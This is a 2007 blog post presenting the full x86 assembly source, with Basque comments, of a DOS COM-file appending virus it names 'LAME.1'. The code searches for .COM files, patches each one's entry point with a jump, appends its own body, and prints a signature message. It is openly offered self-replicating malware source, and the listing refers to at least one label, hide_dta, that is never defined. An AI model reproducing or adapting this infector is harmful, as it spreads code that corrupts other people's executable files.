Saturday, July 14, 2007

0023 - LAME.1 com appender

Klasiko bat


kodea segment para public code
assume cs:kodea,ds:kodea

org 100h

nagusia proc near
hasi:
db 0e9h,0,0

comapp:
call kalk
kalk:
pop bp ; BP = IP
sub bp, offset kalk

berreskuratu:
lea si,[bp + offset lehen3]
mov cx,3
mov di,100h
; push di ezinbestekoa itzultzeko
push di
rep movsb

dtagorde:
mov ah,1ah
lea dx, [bp + offset dta]
int 21h

infekzioa:
mov ah,4eh
segi:
lea dx, [bp + comatz]
int 21h
jc bukatu

; filehandler bx-i pasatu
xchg bx,ax

; ireki
mov ax,3d02h
lea dx,[bp+OFFSET hide_dta+1eh]
int 21h
xchg ax,bx

; jauzi berria kalkulatu
mov cx, bukaera-comapp
mov word ptr [bp+jauzia+1], cx

; hasieran kokatu
xor cx,cx
xor dx,dx
mov ah,42h
int 21h

; jauzia idatzi
mov ah,40h
lea dx,[bp+jauzia]
mov cx,3
int 21h

; Bukaerara mugitu
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h

; gure kodea sartu!!
mov ah, 40h
mov cx,bukaera-comapp
lea dx,[bp+comapp]
int 21h

;itxi
mov ah,3eh
int 21h

hurrengoa:
mov ah, 4fh
jmp segi


bukatu:
mov ah,09h
lea dx, [bp + offset mezua]
int 21h

; Aurreko DTA utzi
mov dx,80h
mov ah,1ah
int 21h

retn

comatz db "*.COM",0
lehen3 db 0cdh,20h,0
jauzia db 0e9h,0,0
mezua db '[comap ultralame vir]',10,13,'$'
dta db 42 dup(?)
bukaera label near
nagusia endp
kodea ends
end hasi

Labels: , , , , , , ,

0 Comments:

Post a Comment

<< Home